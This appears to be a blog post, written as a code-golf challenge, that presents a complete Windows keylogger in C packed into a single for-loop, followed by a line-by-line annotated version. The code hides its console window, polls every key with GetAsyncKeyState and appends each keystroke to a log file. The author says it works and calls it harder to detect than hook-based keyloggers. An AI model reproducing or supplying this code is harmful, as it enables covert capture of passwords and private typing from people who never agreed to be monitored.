How I wrote a tiny keylogger in C, in a 1-line for-loop

I was challenged to write a keylogger in a line of C. This is the result.

This code is about 3 lines, especially when you #include , but the actual keylogger code is all written as an empty (1-line) for-loop.

int main(int i, FILE *log) {
 for(i=FreeConsole()&&(log=fopen("logf.txt","a+"));(GetAsyncKeyState(i)&1&&fputc(MapVirtualKey(i,2), log)&&!fflush(log))||1;i=(i==255&&!SleepEx(1,0)?0:i+1));

This is a very simple keylogger, but it works. It uses GetAsyncKeyState to sequentially check every key on the keyboard many times a second to see if it's being pressed. The advantages of this over a hooking keylogger are that it is harder to detect, smaller, and simpler.

This keylogger is case sensitive, so it will correctly log uppercase and lowercase letters. It also logs symbols, meta-keys, function keys, media-keys, etc -- but in binary, so the logs might have weird characters instead of "Backspace" or "F1", "PgDn", etc. Vim / less are good for viewing the logs.

Here's how it works:

// Main function. Use prototype to declare variables 
int main(int i, FILE *log) {
 // Begining of for loop
  // Initialise iterator (i) and open log file
  i = FreeConsole() && (log = fopen("logf.txt","a+")); 
  // Keylogger
  // - GetAsyncKeyState(i) -- determine if vkey 'i' is being pressed
  // - if vkey 'i' is being pressed (GetAsyncKeyState(i) & 1), 
  //   - convert it to a char code using MapVirtualKey(i,2) and 
  //  - write it to file with fputc() and flush the log file
  // - || 1 is added to the end to ensure the loop continues regardless of 
  //  other return values
  (GetAsyncKeyState(i) & 1 && fputc(MapVirtualKey(i,2), log) && !fflush(log)) || 1;
  // If i equals 255 set it to 0, otherwise increment it by one
  // call SleepEx(1,0) to avoid hogging the CPU.
  i = (i == 255 && !SleepEx(1,0) ? 0 : i+1)
 ) {
  // For-loop code block usually goes here, but we've squeezed all our code into the 
  // declaration of the for-loop, so this isn't necessary

This works because For-loops in C are quite flexible and can execute a lot of syntax inline without having to break into a code block below the for-loop. You just need to be conscious of the return-value of your code to ensure it doesn't cause the loop to exit or behave strangely.